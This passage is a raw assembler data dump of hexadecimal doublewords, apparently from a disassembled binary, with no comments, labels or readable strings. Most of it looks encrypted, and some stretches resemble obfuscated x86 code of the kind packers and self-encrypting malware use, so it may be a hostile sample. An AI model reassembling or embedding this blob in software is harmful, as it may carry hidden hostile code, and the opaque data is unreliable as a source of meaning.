0C5DD6E47h dd 0BEF706A9h, 24BA0A8Fh, 1075F681h, 958B24BAh, 64D331Dh dd 800F31FFh, 6, 358509h, 0B85B064Dh, 51E44320h, 78DBEB81h dd 0D2815E29h, 22EAC9C6h, 0A64CC381h, 952B213Eh, 64D2D11h dd 0A73AEB81h, 19895CADh, 2759858Bh, 0E983064Dh, 0EE903h dd 48470000h, 0D4A6D23Fh, 8A7923C2h, 0F62C5CCh, 1B58949h dd 81064D23h, 1EEh, 1D850F00h, 8B000000h, 4D1F2195h, 29E906h dd 0B7DE0000h, 772C5Ah, 0BDA6AD13h, 0F73E9F81h, 0A7B85C23h dd 0E58D2960h, 80064D23h, 0E9617CC8h, 0FFFFFF70h, 0FB4ED10Dh dd 0EBBDC699h, 8, 6FC15C00h, 508E91Ch, 0CA680000h, 0E906536Ch dd 0FFFA1419h, 536D6868h, 140FE906h, 0C168FFFAh, 0E906536Eh dd 0FFFA1405h, 0BBC76D33h, 5E6A10DBh, 20EB47Eh, 0A3AF5522h dd 4854FAC3h, 24EDA246h, 0CB92727Eh, 6D391925h, 13DBBBC7h dd 0FDCA616Dh, 0FBB5B2CEh, 0AF747FD4h, 0B54D3362h, 7BE4D4FBh dd 0AC75642Ch, 13DB3906h, 410EB480h, 8AE7AD0h, 9F36939Fh dd 3E4C88CDh, 3431414Dh, 0E3D8AD9h, 0D137B2FDh, 0EF1EEB54h dd 0D5019A85h, 2CD78DFBh, 0B65BC41Ah, 35AC1h, 0F12D7A00h dd 213FA500h, 0DAA6CD2Fh, 57D501A7h, 67AA9EEh, 2BD501A8h dd 86AB73C2h, 6BBA6028h, 676E5D8Ah, 0CE91C005h, 0A9D13847h dd 4A73156Dh, 67B68974h, 99E62B94h, 0EA93555Dh, 769DF191h dd 0D501820Ah, 1F6FBE27h, 245C8BD8h, 0DD50182h, 7B48EEB7h dd 814BA10Ah, 8E5D8CDBh, 7BD883E9h, 9ECD125Ah, 0CD853185h dd 6B46137Ch, 0A64C156Ah, 7CABF83Dh, 0D14F0804h, 2875C42Dh dd 384085F9h, 0FE43ACC7h, 2632D8A0h, 1FEB7E46h, 0D23BAC79h dd 0A99E95BAh, 2E4C2184h, 33Ch, 0C7D3793Fh, 6A761CE7h dd 0E1AC08Ah, 0AFBB612Eh, 546006CFh, 30F95E52h, 0D79E7E8Ah dd 79452531h, 1FE7C7D3h, 9D66D79h, 0FBB4A6DAh, 40808BD4h dd 0BB612886h, 4C44916Ch, 4F20631Dh, 0EECE65DBh, 0C1312975h dd 0DF248DF6h, 0C46A3492h, 83786F7h, 0D1231809h, 4D9ADF48h dd 318026EFh, 59880AD3h, 0D4FB4027h, 7E4BA10Ah, 83636FD8h dd 82CF14BAh, 0FB402D53h, 4C9B04D4h, 0A1DD2A77h, 2C3DF406h dd 0C9B7DE0Fh, 68D4FBA1h, 0F481B0FFh, 0A2D4FBA1h, 0CD1C34DAh dd 7992B7B2h, 29E86A4h, 17DD0000h, 0BA856571h, 5E280814h dd 0FFCCACB8h, 0A46D4D59h, 0F8F0F2FEh, 1C28CE97h, 0C3CF753Ch dd 657117E3h, 0B17BD85h, 878A774h, 29D4FBB4h, 0DDF8DE1Eh dd 0DF4164C4h, 0C22B6EBFh, 0AD2307Dh, 0D7269764h, 234E69A8h dd 0B27FE8D1h, 0FB76F183h, 23218FD4h, 4594AEB8h, 1C54DB6h dd 758B0000h, 0AA7D3CADh, 82D588E2h, 26EE4C19h, 69A57480h dd 99884CDBh, 0AB418671h, 0B520D90Dh, 0F5E0BB0Ah, 0C8033277h dd 89D1374Bh, 50245320h, 46D50113h, 0AD0BD87Eh, 4E6F3CE2h dd 88F4FA6Ah, 97AF2A1Ah, 44B65833h, 3Fh, 8FDDF882h, 20681B4Ah dd 15FD138h, 7245943Ah, 5B83043Eh, 14D38DB0h, 5CC2F2Ch dd 0D8A3F962h, 4884C932h, 0C1545CCFh, 5DA2955h, 1E69ED6h dd 0F074E2D5h, 5B787D05h, 0BD9AB6h, 75D80000h, 75C207ADh dd 4F203A46h, 3F8EF7DBh, 0A1D01D6Ah, 0DB4F20DFh, 3C9AE952h dd 0A200CD73h, 96734DAh, 0DE8F9B41h, 0DB4F2578h, 21C791EFh dd 3694E354h, 2583C86Eh, 53F9C659h, 5DAC1DEAh, 83E9EC49h dd 0D0F30F3Eh, 0A3ED13Fh, 0B746643Dh, 0C50A734Ch, 0ABFAA067h dd 0A437005Eh, 572958DAh, 0DAD4FFBCh, 939F0871h, 2C44EAB3h dd 92ABA9D3h, 458CAA7Fh, 36000001h, 0DEBECA70h, 81616D13h dd 250511B7h, 0C6A6B258h, 494B57FDh, 8329F2A7h, 2AD09777h dd 0CC723E1Eh, 7218E0C0h, 0D302CF66h, 0D4FBB2ADh, 86397984h dd 0EDBA6028h, 6CF2D7Ch, 3805AB73h, 690FDAh, 0E3AB8B97h dd 75E7313Dh, 75C207ADh, 4F203A46h, 3F8EF7DBh, 9E440C6Ah dd 8B31FB59h, 20691746h, 5FC8DB4Fh, 369FFC10h, 0C993F136h dd 5887D423h, 0D1386F07h, 0F9CD3470h, 8BFFF492h, 5EC4FDBBh dd 0D4238CAFh, 6539801h, 854CDFA8h, 0C92776DFh, 9D4E5A00h dd 0D50129D7h, 4AA72D0h, 29F090BFh, 0D841D501h, 0BD632B89h dd 6208D1B1h, 23EA4895h, 0F03FB07Dh, 8BD2h, 87B60300h dd 0D50129F9h, 723DE3ADh, 0F8F2BA09h, 0FD4A8FDDh, 20FF81B0h dd 0C932DB4Fh, 212B5584h, 9D06DB4Fh, 8CEE1F4Eh, 0FA63D123h dd 6107CF2Dh, 3CAD7555h, 5F52D3EDh, 7542ABFDh, 0B5290D46h dd 84E23136h, 0D64714BAh, 0B6291B87h, 6D3C48EEh dd 4F9E440Fh, 0B68329F1h, 18E58B58h, 0AE5113F7h, 0AEFB40E6h dd 0BEC6017Fh, 78C730BAh, 3599564h, 641A203Dh, 9B63C110h dd 3463B0F5h, 0BABEF44Ch, 582D7CE5h, 33Ah, 8C54F000h, 3C09AF75h dd 0A37016DEh, 6D37945h, 6E3BE1A8h, 0D4A14710h, 3A07AD76h dd 9C690FDCh, 1CE743Eh, 6532D8A3h, 585450E8h, 405h, 4E88300h dd 5C240487h, 784168h, 24048900h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 51241C89h, 512240B9h, 8DFEB839h, 0C8293FA4h dd 81240C8Bh, 4C4h, 1C8B5400h, 4C48324h, 24048150h, 54E713CEh dd 5108438Fh, 0E713CEB9h, 84B2954h, 2434FF59h, 4C4835Bh dd 582434FFh, 0E904C483h, 0FFFA0F29h, 2E42EFFCh, 96952D5Ah dd 57558C73h, 2BB8CEBEh, 3065370h, 0E0E0FFC5h, 7419AEADh dd 8902C7ADh, 8D05C99Ch, 53717F8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 3580A040h dd 0C7F1B836h, 0E781666Eh, 0B58B1744h, 64D26A9h, 5998D89h dd 0B70F064Dh, 1D85C7F8h, 6C064D05h, 2900005Ah, 4D0C518Dh dd 95BD8B06h, 0C7064D2Ch, 4D02E985h, 6, 0BD896000h, 64D0501h dd 11E9h, 0D7C1ED00h, 0BD501A18h, 0D1C1DF1Bh, 6FD0733Ah dd 0FF618299h, 4D1FE5B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8F0F2C5Bh dd 2, 95FFF88Ah, 64D2E55h, 9E9h, 7068B600h, 0DDFF7357h dd 6A13ACh, 51195FFh, 0C08B064Dh, 63F32FEBh, 836F1A51h dd 3205BF9h, 9C9E09CBh, 0CB612C8Ch, 535A6CE7h, 0F1160144h dd 0C9C1A7F5h, 0AA36972Eh, 58235347h, 0BDF567F1h, 8CEDC9EEh dd 0BE88Fh, 0E55A0000h, 9500E97Ch, 747E228Bh, 0C59503FFh dd 58064D2Dh, 14E9h, 0D53D4400h, 52E271CFh, 87417C7Dh dd 0E8AF1159h, 3D64BB52h, 51C081B5h, 0E9000063h, 0Ch, 9DC6F964h dd 3A88D474h, 0DF5D5B74h, 0BEh, 12E900h, 0DD340000h, 4B1EFCC3h dd 0B2234DD5h, 32717F0Eh, 34DAD6h, 0BF0634FFh, 1B99ACECh dd 13F18159h, 2954CEEEh, 4D305D95h, 99E98106h, 94E420Bh dd 4D2DAD8Dh, 2EC18106h, 2334694Ah, 4D0EC5BDh, 8FF55106h dd 0BD8B3004h, 64D3175h, 8317F280h, 0EE904EEh, 3000000h dd 0AC0A2EB2h, 953D8496h, 967AD5A6h, 6CFE816Ah, 0FFFFF9Dh dd 0FFFFA385h, 0A5958BFFh, 0E8064D17h, 0Eh, 0E6A9E549h dd 0C968F598h, 0F2F51A17h, 8D29BFE8h, 64D0AE9h, 71B58B5Ah dd 81064D11h, 75F4C2h, 0F78B6600h, 5022D7BBh, 90F3815Fh dd 525F503Fh, 0EE9h, 0D3697300h, 6922452h, 738EEEAh, 5E4882A8h dd 852932FFh, 64D28B9h, 15958958h, 81064D2Dh, 0E253F5F0h dd 819DB132h, 994DB5F0h, 6820F47h, 89000000h, 4D1AF99Dh dd 5BF08106h, 0E974F463h, 12h, 9DE8A018h, 88298EF6h, 273B62F9h dd 0C613A3C6h, 2898487h, 21A18589h, 0EA83064Dh, 0F6816604h dd 0F4B8EF7h, 2185h, 68C0F00h, 8B000000h, 4D2195B5h, 2AE906h dd 0D810000h, 0E60903FEh, 67D2A678h, 0BD378EDCh, 0E9FC6628h dd 0FFFFFF7Ch, 6EF7A30Ah, 23A468Dh, 0D09B5A64h, 54794527h dd 0D097786Dh, 740E8D8Dh, 858B0653h, 64D0609h, 5998D89h dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 8220D4C3h, 9CF96A10h, 858B3AB1h, 64D14E9h dd 11719D8Bh, 85C7064Dh, 64D051Dh, 7314h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0BAC35040h, 641FDE45h dd 0F4555361h, 919D8BBFh, 0C7064D06h, 4D02E985h, 6, 0BE900h dd 5CB00000h, 2D2C98B7h, 9ADDF587h, 2DB5FF52h, 8B064D00h dd 4D0345B5h, 5595FF06h, 89064D2Eh, 4D0D21B5h, 22BE6606h dd 0FF006AA7h, 4D051195h, 0EBC08B06h, 5A7A4129h, 0D92EB351h dd 3A80DFD4h, 0E3A1ED3Ch, 0F3C2842Dh, 4027654Eh, 916C14CBh dd 78F00116h, 80864A00h, 0D7AAE69Bh, 8EB5A3Bh, 44DFD12Dh dd 0 dd 0A21E9h, 75B86800h, 1FE90653h, 68FFFACDh, 65376C8h dd 0FACD15E9h, 785868FFh, 0BE90653h, 68FFFACDh, 653792Ah dd 0FACD01E9h, 7A9268FFh, 0F7E90653h, 68FFFACCh, 6537C0Ah dd 0FACCEDE9h, 7CF368FFh, 0E3E90653h, 2EFFFACCh, 1ACA6C6Ah dd 9B95B7Dh, 0FCAC4E8Ah, 0EC9C3E98h, 0F58E30A6h, 884E44BFh dd 756336E6h, 637323D3h, 548411C1h, 7ED45B2h, 99450159h dd 9D7A47D6h, 25D3B9F8h, 0A292F18Eh, 356B40F1h, 10D67860h dd 0D000D846h, 0CC3E13C5h, 9E528C0Fh, 0E570870h, 20F7D0B6h dd 0C374993Fh, 205002EEh, 0BEB993Fh, 0D11ABEDBh, 0F494A607h dd 80134BB7h, 2Ch, 0BD1B78A8h, 9301AFE8h, 0EC356E43h, 4FBD87A7h dd 8DF09177h, 0BC6D993Eh, 8D49FBE7h, 92E4993Eh, 20611F59h dd 0DD0B134Bh, 46000000h, 0DFA7F89Dh, 1A4400AFh, 0D8380DBEh dd 0A4EDEBA8h, 0AD931C76h, 92F266FFh, 0DCBCE7Ch, 0F3E5AE5Ch dd 5C34E51Eh, 966B6D2Ch, 2484F524h, 9C4DAAC5h, 0CDC8FE53h dd 9500360Bh, 573BA143h, 0D192F243h, 0C27214C4h, 0D03005D3h dd 0FE4F2A0h, 7F498DD6h, 16533911h, 93993F69h, 0B07A40E2h dd 0E7846A42h, 379F8F1Fh, 764B8B07h, 0DFC9F43Dh, 0AE9B096Ch dd 81590AFAh, 0FC984151h, 0D78729DAh, 92601BBBh, 428077F0h dd 7F29CEDh, 43550000h, 5641F193h, 6330E082h, 7123D375h dd 7F13C365h, 0E61CB557h, 0BAD2969h, 0F89A3E5Bh, 0E6884E48h dd 0D7795F36h, 7E2C126Ah, 0FB994502h, 0F59D9F6Ch, 0C9AF09E1h dd 92F18E1Bh, 7C9EE798h, 0B46248A2h, 3192F18Dh, 0EDC21683h dd 8CBA03B4h, 662DCF09h, 774FBD87h, 3E8DF091h, 0E4BC6D99h dd 0AAF3E5B4h, 8DB76955h, 52993Eh, 20F38DAFh, 0DA34134Bh dd 85E9EFAAh, 993E99D7h, 0E6F0A654h, 0DAD9EC35h, 14000000h dd 0BE0F89Dh, 4419BDD5h, 0F1927458h, 31A7EE92h, 755BB58Fh dd 92F192C7h, 52C15A44h, 51F7F904h, 34A2F2A0h, 0D8BDEBh dd 6E15DF2Bh, 0E5674F46h, 0EAC273BCh, 0A3356090h, 3839765Ah dd 5B6993Fh, 65D39D63h, 0ECF9A78Dh, 19499F8Eh, 9C825A7Eh dd 9F8EECEEh, 4671BA6Bh, 58DBD95h, 0F4483EAAh, 28329C7Dh dd 8EE916C4h, 34E2939Fh, 68A17660h, 5273DFB7h, 7E90A505h dd 0E191B3FCh, 0A66A25B1h, 42807794h, 6E29CEDh, 33650000h dd 465101A3h, 5340F092h, 6133E385h, 6F23D375h, 0F62CC567h dd 1BBD1979h, 8AA2E6Bh, 0F6983E58h, 0E7894F46h, 8E3C227Ah dd 0B994503h, 4373AF7Ch, 0C7755B56h, 4492F18Dh, 6B99E293h dd 330DAF27h, 0EAB1B5C7h, 2F78781Eh, 0A2449401h, 0E0F89DDBh dd 1A7BAB0Bh, 4F00D8C1h, 1BBDD806h, 577F1343h, 7A9B296Dh dd 29722B04h, 0C774107h, 0C39B4C8Ah, 7E5A3969h, 0CF2C5135h dd 4C7C993Eh, 1D489147h, 3461976Ch, 435202A4h, 43D4C095h dd 0B62084F3h, 0EEEDA6D6h, 0AC8132A4h, 0F602A73h, 0D87A5E37h dd 936B6D28h, 5CA53163h, 0F36A1B07h, 652F2084h, 7F593C04h dd 37682DDDh, 6FC0897Fh, 522ADB75h, 8D627422h, 0CAB60B54h dd 20850415h, 0F0D019E5h, 2B5B33A5h, 0B15F456Ch, 2E208503h dd 0BEF7CC7Dh, 0F2A35375h, 0FBC511E6h, 1ACFB58Dh, 9726D228h dd 0B7DE0EE6h, 3B134C21h, 0D227A755h, 2A732426h, 0A784208h dd 3A1B4C32h, 3B6B2D1Fh, 0B367F57h, 0E899855Ah, 832D1F39h dd 0C2BEF831h, 0AA8F2B88h, 338h, 0E6F0A2D2h, 1973589Dh dd 0F18D8533h, 0A3510292h, 9B9EE7EFh, 5CCA94D9h, 0B4D19E84h dd 9D4E993Eh, 8663D5BBh, 0FDC71A4Dh, 48D1B78Fh, 98209A92h dd 0E4AF2A68h, 0CFFA43F4h, 8FE9491Eh, 9A92FBA9h, 7EC77820h dd 2A02703Ah, 0EB086944h, 0E89B926h, 73BCF5CAh, 8FBF9748h dd 8030D206h, 4E08C315h, 0D607D3B3h, 5523081h, 0A3F50000h dd 0B6E19133h, 0C3D08022h, 0D1C37315h, 0DFB36305h, 86BC55F7h dd 0AB4D8909h, 983A9EFBh, 8628AEE8h, 7719BFD6h, 1ECCB20Ah dd 9B994506h, 43733F0Ch, 0F63A8353h, 0E6BE2Ch, 993EBBDBh dd 9CD2A758h, 0EE0ADFF9h, 1747519Ah, 4B84597Dh, 86F4BE02h dd 0EAA3C8AEh, 6F209F8Bh, 0AB2B6797h, 32549DD6h, 0F0C51382h dd 28FDDBBAh, 0A58BE53Dh, 9F8BEAF7h, 0B07AC374h, 0A30E877Fh dd 8BEB0FBDh, 0CEB48C9Fh, 9F8BEB20h, 8A3BEC9Dh, 7D12EEE8h dd 39DA199Ch, 15000002h, 774FBD87h, 45022191h, 15ED9E99h dd 0CD098BBBh, 4876BFF8h, 3AEA8C4Ah, 0C3715758h, 40994501h dd 1D60092h, 916617C8h, 4501F2A5h, 0AF296C99h, 2DAC44F4h dd 1263B87Ah, 480h, 6305D1C7h, 52F4E4B3h, 45E7F1A2h, 35D7FF95h dd 27C90D85h, 0B7DB588Eh, 0CCCD7D1Fh, 0DCBA6A0Ch, 0EDA858FAh dd 84DC49EBh, 4506F09Eh, 11DE6D99h, 774FBD87h, 45022191h dd 18ED9E99h, 8325B3E2h, 9EFC2D3h, 9945015Bh, 9E7627D8h dd 0DBB0266Eh, 0CE0459A2h, 513C11C7h, 375E2687h, 0B05FFA1h dd 0F1135554h, 194h, 5343732Ch, 2C75AE83h, 6C4197FEh, 1A7C5F36h dd 0FDAEE7BCh, 4052B925h, 4ED2D671h, 531DE305h, 4E270DE5h dd 0CB993F3Ah, 0A759451Ah, 42993F3Ah, 837DBFF0h, 69134B89h dd 33h, 4FBD87A4h, 8DF09177h, 0BC6D993Eh, 0F4E2B4E4h, 11CBAD1Fh dd 2ADEA020h, 0EFDB3079h, 993F543Dh, 132586D8h, 134BE775h dd 0E2FFh, 0A2F72700h, 9DA8ED36h, 0D808E0F8h, 7DD21BBDh dd 0B68B4B47h, 686E2656h, 0E3115A93h, 0F44E26B2h, 0A3D97E88h dd 0D539EFCFh, 92F26527h, 55AAF3A4h, 0C062761Fh, 0F26A765Ah dd 866CC692h, 92F26AD8h, 9FF6A455h, 0D3C2F039h, 21C12D05h dd 6E472A4h, 5F9B5842h, 1AE85DEh, 8CBC96B8h, 0C3FCD107h dd 7F548415h, 0EFB9FD46h, 93C3A981h, 109941D1h, 821B875Fh dd 1AE1C519h, 70CA226Bh, 0AC815740h, 5D1C573h, 0D2048EBCh dd 0C4128030h, 2A716309h, 1D6EC37Ah, 318h, 0CB6D692Fh dd 0BA5C7C1Bh, 0AD4F890Ah, 9D3F97FDh, 8F31A5EDh, 4F43C0F6h dd 6435E587h, 7422D274h, 8510C062h, 0EC44B153h, 45075806h dd 7946D599h, 3FE1F59Dh, 0BDD5068Fh, 5A0B4419h, 9E84DEB8h dd 92F18DF0h, 3AE286Ah, 9DC40952h, 0D50BE0F8h, 0B07618C0h dd 0BAA078E6h, 993EB205h, 696D2555h, 0E7125B94h, 0B17B290Fh dd 47F8993Eh, 25D5C196h, 0EA993EB1h, 9DCDCF20h, 3F7A7F8h dd 0BA2F6028h, 0B27CC009h, 0D1866C44h, 219F8BE1h, 0E730A8F1h dd 0A2690BBCh, 0BE0F89Dh, 7B1BC0D5h, 4208AA5Bh, 4FFDE378h dd 0CC92F18Dh, 38926A1Bh, 83595ECCh, 0EC357FDBh, 3EF12F08h dd 23FBAC99h, 6035A1F3h, 9D89DE27h, 993EF1EBh, 0C1FB3486h dd 134B40C7h, 32ADh, 0BD87E800h, 0F091774Fh, 6D993E8Dh dd 7578E4BCh, 0EB4EC470h, 0BE1E73BCh, 9ACA5B52h, 94DD9061h dd 3EE6FEB0h, 0E6479999h, 4B7934D4h, 0BFC013h, 9DFB0000h dd 0D50BE0F8h, 0E4419BDh, 96442A87h, 1392F18Dh, 0A6DCB162h dd 0E147E9EFh, 92F191FDh, 18BA1E77h, 0D3AB2D68h, 11E6F2A3h dd 0EE3A8FD8h, 84DEB624h, 2592D418h, 61AAED22h, 3F8B707Dh dd 9A3CED99h, 0C49C0AD4h, 8F42A8DEh, 9C74259Fh, 0EB0266Ch dd 46F4DA34h, 0C39F8F42h, 0F79BC912h, 0F0B7ADA6h, 0BA6BF6FFh dd 77EF63FFh, 95AAF80h, 1A0h, 43E5F1A7h, 32D40493h, 25C71182h dd 15B71F75h, 7A92D65h, 0D7BB386Eh, 0ECAD5DFFh, 0FC9A4AECh dd 0D8838DAh, 64BC29CBh, 4509D07Eh, 0F1BE4D99h, 3FE1F59Dh dd 0FAD2068Fh, 0C60FC9CAh dd 0FC9ACAA4h, 0BFA505DAh, 92F18E11h, 0E32CDD8Eh, 4FBD879Eh dd 8DF09177h, 0D440993Eh, 0A2F5E678h, 3E286136h, 3F887CFEh dd 0A28E6314h, 993F30F0h, 223FAB8Bh, 0E3917761h, 60993EB5h dd 0A32CC5AFh, 3E98FAA8h, 1DE73069h, 0A4EEAACCh, 9F96134Bh dd 0D1000000h, 0BE0F89Dh, 4119BDD5h, 79518511h, 0F18DE593h dd 68B16292h, 92432713h, 0D8BD92F1h, 0E7AE5E00h, 6D01CF1h dd 0CDDAC098h, 4A993EC3h, 6731F799h, 0A63B21F9h, 239F8E77h dd 2C6A9A72h, 0AF0961AAh, 0ECC1157Fh, 563C6AB3h, 642EDE80h dd 2225B772h, 85D8077h, 0B7B7h, 0CE089000h, 0BD1B7C2Ch dd 0B0286B1Bh, 0A0365E0Eh, 92444EFEh, 9E2157F0h, 9040E2F4h dd 7D2DCF09h, 6B1BBD19h, 9F0CAE2Ah, 9B36147h, 0A1309945h dd 0E1F59DD4h, 0DF9653Fh, 0AE286A17h, 3DCDD5C4h, 9CFC6F4h dd 4373A067h, 0B398256h, 1C764E8Ah, 0F18D8836h, 43950292h dd 0D98A356Eh, 90053B90h, 0BA8F474Bh, 542ED081h, 1D667024h dd 0EEA40FD9h, 795F37E8h, 99450205h, 8DF9D182h, 0F99A04Ah dd 0CF246D4Ch, 3ADCFC99h, 0C4D00B8Ah, 53043D12h, 7188927Eh dd 0A9FBDBD1h, 0C3158040h, 0B4247121h, 0EBEBA9DFh, 45A6FA16h dd 1EC0187Dh, 0DCB1276Eh, 38Bh, 33784600h, 6DBFB9Dh, 3E13C5D0h dd 73488E08h, 0A77C5C3Dh, 0E0B52171h, 19EEE8AAh, 5025B1E3h dd 8A5F791Ah, 0C0954354h, 0E089503Dh, 405h, 4B95100h, 29000000h dd 48759C8h, 89535C24h, 4C381E3h, 83000000h, 1C8704EBh dd 4895C24h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h dd 68241489h, 6537491h, 8124048Bh, 4C4h, 56A06800h, 24890000h dd 24048324h, 53505A04h, 632F8DBBh, 245C0105h, 428F5B04h dd 86A8108h, 5632F8Dh, 5624148Bh, 0C681E689h, 4, 8704C683h dd 8B5C2434h, 89562404h, 4C681E6h, 83000000h, 348704C6h dd 0BE95C24h, 0BFFFFAC3h, 0CFB8DB54h, 306537Dh, 9DE0FFC5h dd 952AAF41h, 6043265h, 6B60AEDEh, 8D69E9E0h, 537F908Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 4A64323Fh, 0FC3D5552h, 0F5958BF0h, 89064D31h dd 4D05998Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 68E8E54Eh, 106AA142h, 820FB942h dd 6, 0D1E0D681h, 0E6810DE7h, 1DCF96EBh, 51D85C7h, 64F8064Dh dd 95890000h, 64D2BE9h, 2E985C7h, 64Dh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 4B82BDC3h, 6880F79h, 8B000000h, 4D280DBDh, 0A1BD8906h dd 0FF064D2Ah, 4D3171B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0FFFB8B6Bh dd 4D2E5595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0FD958BE1h, 6A064D1Fh, 1195FF00h dd 8B064D05h, 0BF1DEBC0h, 91E05F92h, 0EA9C7C22h, 0BBE0E91Ch dd 37F2EAD2h, 9D4F4F91h, 9C1E2783h, 8A10620Ch, 0BF2304EBh dd 6CE95D21h, 32000005h, 0DABAC66Ch, 7D5D690Fh, 21010DB3h dd 0C2A2AE54h, 454753F9h, 7F25EEA3h, 26CC9373h, 0C86E3A1Ah dd 6E14DCBCh, 0CFFECB62h, 0D4FBA1B1h, 75357580h, 0DC3A07ADh dd 0CA286D13h, 32905D03h, 0B5AC369h, 0CD4F17F7h, 4F20E29Eh dd 0A1E64FDBh, 4F210E72h, 51BA23DBh, 0B85E2684h, 1CC28DEBh dd 0F96BD94Fh, 8C983E06h, 2E3AE0ACh, 0FDC824Eh, 3A4675C2h dd 0F7DB4F20h, 1AE13F8Eh, 0A286A774h, 0D40350A2h, 0DB4F20ACh dd 6FCD1C85h, 22F1FDA3h, 241399D5h, 12A3FC30h, 4E3695EBh dd 0E4339CDBh, 602BBE86h, 137CEDBAh, 365C1746h, 0C188DB4Eh dd 0A3F29863h, 0B0D20D37h, 67B016A8h, 61h, 7AD75A5h, 20770B3Ah dd 977DDB4Fh, 421032ADh, 6C7B016h, 80000000h, 65B45A22h dd 4AA759Dh, 680ED937h, 0CA703D9Bh, 0EB3887FDh, 4F20C4BCh dd 0AE046DDBh, 81ED3CE2h, 0B5E431C3h, 0DB4F20CBh, 50AEFD66h dd 3C9ADF85h, 6C12DE71h, 0D1A0B403h, 212B5584h, 9D06DB4Fh dd 9528F04Eh, 0B2BE27CDh, 6AC7568h, 0F29863C1h, 9065B425h dd 0F4C16732h, 43A69E04h, 0E8C8D47Ah, 4FAD7A20h, 0B412DF85h dd 1A7845EBh, 4CF2BE51h, 0D8A50E7Fh, 0CC282E8h, 0C73232A0h dd 0B01640AFh, 0CB3C0967h, 0C214E80Bh, 70BF28FEh, 7808h dd 0AC754600h, 0B0EC3906h, 421FFC64h, 0FB59A8BFh, 48BE8B31h dd 0AE776ADAh, 0B787C308h, 2F67A824h, 21C791E7h, 15DEBED2h dd 0A81C6493h, 0BD8ADB4Eh, 7AE34C17h, 11824FADh, 8D0606Dh dd 0F0249562h, 3099C991h, 92380563h, 0F99F67C5h, 1C48B62Ch dd 48FC6AD6h, 169DE58Dh, 4312B0h, 75500000h, 0DB3906ACh dd 0EB47C0Fh, 751BE341h, 65CE37A8h, 0AF958198h, 0C1CD733Ch dd 4AA7577h, 206B0837h, 9379DB4Fh, 421C26D1h, 12BBB016h dd 74000000h, 63590038h, 0B9E81C46h, 0DB4F94C7h, 4998016Ah dd 5AB7581h, 6C12DA38h, 0AA9A7E9Fh, 0BBC76D37h, 0B0F5775Eh dd 3844F681h, 7DC22BD1h, 0FC7F0130h, 49B2D501h, 9CD825FAh dd 2B54752Fh, 56B4031Eh, 0FCDCE88Eh, 92C18E34h, 0D50198F0h dd 0B05311FDh, 9FFD42E8h, 13DB31D7h, 2A0A1E6Dh, 91EFBC62h dd 665623C9h, 0D9A14400h, 273F2733h, 0D4B65BCAh, 18Ah dd 0E0622F8Dh, 1A4CFB1h, 90F962D5h, 30FC52C3h, 0FD4CBD8Ah dd 8FDDF835h, 0A8C1FD4Ah, 83049752h, 1F6C9BEAh, 32D1381Dh dd 73AFFCC9h, 4D11DD4Eh, 0F04E9DDBh, 25CB9528h, 727EE758h dd 5724CA92h, 4278CE0Ah, 86ACC807h, 6B11D937h, 0CA8BEA26h dd 8F922D4h, 0ADF4E4B9h, 90DF854Fh, 0F5BD2024h, 23F09662h dd 553D49B2h, 0B65BF5CDh, 56EAh, 4A862800h, 6DEFC570h dd 0A76A5AEh, 27DB4E29h, 0E11055BEh, 0DB4E289Fh, 0FFDA2992h dd 1F4E93DBh, 0DB4E2A31h, 1472B720h, 7F54A349h, 4E273050h dd 0DE86ECDBh, 3482CAEh, 4E287CD4h, 606CD5DBh, 0D5C0h dd 0C9B5F100h, 0B9A9683h, 7C176998h, 0B11ADB4Eh, 0F831F948h dd 46D9A2DDh, 990AD77Dh, 5382C730h, 0D13850B4h, 0F957248Dh dd 9F7F8B31h, 176431D7h, 0F2E59BCAh, 0E34CD501h, 0F3116F9Eh dd 0B720D501h, 0F33C3968h, 915AD501h, 0F3C01EEBh, 872DF74Dh dd 0E064CABAh, 0D20EDBEAh, 5A8F3E90h, 0F561B090h, 834FAD4Fh dd 0E5B210DDh, 6EA2D63Fh, 0EFDF15D0h, 0BA82E02Fh, 0FD390814h dd 4DBEC361h, 0D7B2018Bh, 0DC296EFEh, 11276EA0h, 3C8BEFC3h dd 0D5FFA30Dh, 38056ECAh, 0B57F12DAh, 68D1420Fh, 0D9A7D623h dd 58CEADFFh, 6DCBA0EFh, 0D331FEA4h, 0B199660Ch, 0BAD3194Bh dd 2E8C6ED6h, 936EBD63h, 98E52A42h, 0FFCC723Ah, 2A6B5A8Eh dd 0F5291514h, 3A3977A6h, 6FD8C482h, 0DDF81963h, 0E07A63C4h dd 770527Ah, 431D93C2h, 3E7AD123h, 17C0FD5Fh, 0B588D7E8h dd 59217F4Ch, 0ED56FCC6h, 754B6CA8h, 40C1EA18h, 35FDDDF1h dd 1493C28Fh, 4A76896Eh, 0AD7568DCh, 9764C207h, 0BF8EA2F1h dd 0E8179961h, 7988F898h, 78C73099h, 0A1D0521Ah, 7988F8DFh dd 8D33FC52h, 90EEBB24h, 7AD81DC3h, 0E4B908AEh, 8265DFC3h dd 390814BAh, 386C12DBh, 45C1Fh, 81DF2E6Eh, 82EE48B9h dd 0C9FD9471h, 88F15A00h, 0F2216EBBh, 7988978Eh, 54063AA3h dd 586DCB68h dd 0F5472C1h, 85000000h, 85B95F27h, 0DF60C9E3h, 38004F46h dd 0AF758C54h, 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh dd 0AD76D4A1h, 0FDC3A07h, 743E9C69h, 0D8A301CEh, 68E86532h dd 5816h, 68243489h, 0E8Ah, 53241489h, 0C381E389h, 4, 4EB81h dd 1C870000h, 34895C24h, 0FABB5324h, 8175DC1Bh, 8E7B4FCBh dd 4BCB8131h, 0C166A23Ch, 504B08EBh, 0CB7A97B8h, 